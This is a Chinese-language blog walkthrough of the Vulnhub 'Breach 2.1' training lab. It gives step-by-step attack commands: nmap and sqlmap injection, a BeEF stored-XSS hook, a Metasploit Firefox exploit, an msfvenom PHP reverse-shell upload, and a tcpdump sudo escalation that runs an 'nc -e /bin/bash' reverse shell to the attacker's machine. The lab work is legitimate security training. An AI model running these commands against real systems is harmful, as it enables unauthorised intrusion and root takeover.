zoukankan      html  css  js  c++  java
  • Vulnhub实战靶场练习:Breach 2.0

    一、环境搭建

    1、官方下载连接:https://www.vulnhub.com/entry/breach-21,159/

    2、下载之后,将压缩包内环境解压出来,使用Oracle VM VirtualBox软件导入环境

    3、因为靶场环境设置了固定ip地址192.168.110.151,所以网络模式设置仅主机,攻击机kali设置了两块网卡,第二块网卡设置的网段也为110网段,如果靶场环境打开到引导阶段无法正常启动,界面只有黑色光标闪烁,就打开设置界面,设置系统版本为Debian(64-bit)在启动即可

     

     二、靶场攻略

    1、因为知道了ip地址,所以可以直接收集端口服务信息,使用命令:nmap -A -p- 192.168.110.151,发现SSH端口不是默认的22改为了65535

     2、尝试访问ssh,输入命令ssh 192.168.110.151 -p 65535,得到信息,提示如果是Peter的话密码就在源码中 

    使用peter账户,尝试连接ssh,看到一样的提示,将inthesource,当做密码,连接成功,但是马上就断开了连接

     3、再次使用nmap扫描主机,发现多出了80端口

    4、访问就页面,查看源码,没看到什么有效信息

     

     5、使用命令:dirb http://192.168.110.151/,爆破网站目录,发现跟之前ssh提示相关的blog目录

     

     6、访问之后,发现是个博客

     在搜索框,发现了xss

     有xss,就可能有注入,使用命令:sqlmap -u http://192.168.110.151/blog/index.php?search= --dbs,确实注入得到了数据库信息

    7、使用命令:sqlmap -u http://192.168.110.151/blog/index.php?search= -D oscommerce --tables --dump,得到了用户名,密码

     破解得到密码为admin,但是没有登录窗口

     8、使用  +  Copyright ©2006 Powered by www.blogphp.net,作为关键字,在谷歌搜索,搜到了博客系统版本的漏洞,漏洞是存储的xss,在注册界面,用户名输入编写的payload,可以攻击成功

     

     9、启动kali自带的beef-xss平台,如果kali为新版没有安装beef的话,可以使用apt-get install beef-xss直接安装

    10、打开192.168.110.151的注册界面,将beef的Example语句,输入到注册username注册框中,提交

     11、注册成功,返回主页,点开主页发来的提示消息,一会在beef中就收到了主机上线通知

     12、从beef中获取的消息来看,靶机的浏览器为firefox 15,有一个漏洞可以利用

    13、启动msfconsole来利用漏洞

    输入命令:use exploit/multi/browser/firefox_pro,进入要利用的exp框架

    输入命令:set payload generic/shell_reverse_tcp,设置要利用exp所需要的payload

    输入命令:set srvhost 192.168.110.122,设置exp所需要的服务端地址,也就是攻击机的ip

    输入命令:set uripath shell,设置exp攻击成功之后的url目录

    输入命令:set lhost 192.168.110.122,设置payload的ip地址

    输入命令:run,启动一次攻击,生成利用的url连接

     14、在beef中,找到Redirect Browser模块,这个模块是把浏览器重定向到输入的url连接中,输入之前msf产生的url之后,点击Execute

    在msf中马上收到了session信息

     

    因为浏览器的shell会在连接了5秒钟之后失效,所以要在获取到session之后,将迁移shell进程到meterpreter中,获得一个稳定的shell

    输入命令: use post/multi/manage/shell_to_meterpreter,进入到转移shell用的模块

    输入命令:set session 3,设置要转义的session号

    输入命令:run,启动转移,成功转义,获得稳定的shell,session 4

    15、输入命令 python -c 'import pty;pty.spawn("/bin/bash")',获得标准shell

     16、因为之前ssh以peter用户登录之后,会瞬间踢掉,然后服务器启动了apache服务,所以去看一下ssh的配置信息,发现了配置文件最下边,如果使用peter账户登录会执行startme脚本

     查看脚本,是sudo的方式执行启动apache服务,之后就踢掉

     继续收集信息,查看电脑开启的端口,发现一个不常见的2323端口

     17、在获得的shell中使用命令telnet 127.0.0.1 2323命令,尝试连接,获得一个坐标:29 45'46" N 95 22'59" W 

     谷歌地图查询坐标,看是一个公园,在Houston Police Memorial

     继续收集信息,查看账户有一个可能跟地名有关的账户:milton

     18、输入命令telnet 127.0.0.1 2323,账户名输入milton,密码使用Houston,看来是成功了,但是又出现一个提示问题whose stapler is it?

     19、因为不知道答案,所以退出telnet链接,输入命令:find /usr -user milton,搜索有关账户milton的文件,搜索到了一个属于账户的脚本/usr/local/bin/cd.py

     查看源码,知道了答案为:mine

    再次使用telnet 127.0.0.1 2323连接,成功登录milton账户

     20、登录milton账户之后,收集信息,发现系统又启动了一个8888端口

     访问端口,看到两个网页

     

    index.nginx-debian.html为nginx默认首页,没什么利用价值

     

    21、看文件目录名称,像是之前通过sql注入得到的那系统的管理员密码所在的网站,所以访问http://192.168.110.151:8888/oscommerce/admin/,出现登陆界面,输入账号密码,admin成功登录网站后台管理

     

     22、在tools-->file manager,文件管理器中,发现了在includes-->work目录,有可写入权限

    23、使用命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.110.123 LPORT=5555 -f raw > shell.php,制作一个反弹shell的脚本,用来上传

    24、返回到msfconsole界面

    输入命令:use exploit/multi/handler,切换exp模块

    输入命令:set payload php/meterpreter/reverse_tcp,使用payload为之前生成后门所用的payload

    输入命令:set lhost 192.168.110.123,设置用来接收shell的ip,也就是之前使用

    输入命令:set lport 5555,就是之前生成后门所设置的端口

    输入命令:run,启动exp,等待接收shell

     25、将生成的后门文件进行上传,点击upload,选择生成的shell.php,再点击upload即可

     26、在浏览器中访问shell.php,访问的url为:http://192.168.110.151:8888/oscommerce/includes/work/shell.php,访问之后,mef顺利接收到shell

     25、开始进行提权,输入命令:sudo -l,发现root不需要密码的命令为tcpdump

    26、利用tcpdump进行提权

    首先在kali攻击机上执行命令:nc -lvvp 1993

    然后在msf刚得到的shell中

    输入命令:echo "nc 192.168.110.123 1993 -e /bin/bash"> /tmp/shell.sh,在/tmp目录下写入shell.sh脚本

    输入命令:chmod +x /tmp/shell.sh,给shell.sh脚本执行权限

    输入命令:sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root,使用tcpdump命令,

     

    执行完成之后,发现已经反弹shell到kali的攻击机中,权限为root权限

     27、得到flag,使用命令,cd /root,切换到root目录,直接ls发现是空目录,输入命令:ls -la,看到隐藏文件,发现了.flag.py

     

     输入命令:python .flag.py,得到最后的flag

     完

  • 相关阅读:
    Laravel 禁用指定 URL POST 请求的 csrf 检查
    laravel console
    python之面向对象(一)
    python中os.popen, os.system()区别
    Day6作业:计算器
    Day5作业,商城+ATM机+后台管理
    python基础之反射
    python基础之坑爹正则表达式
    python基础之模块(一)
    python 中的一些基础算法:递归/冒泡/选择/插入
  • 原文地址:https://www.cnblogs.com/sym945/p/13619860.html
Copyright © 2011-2022 走看看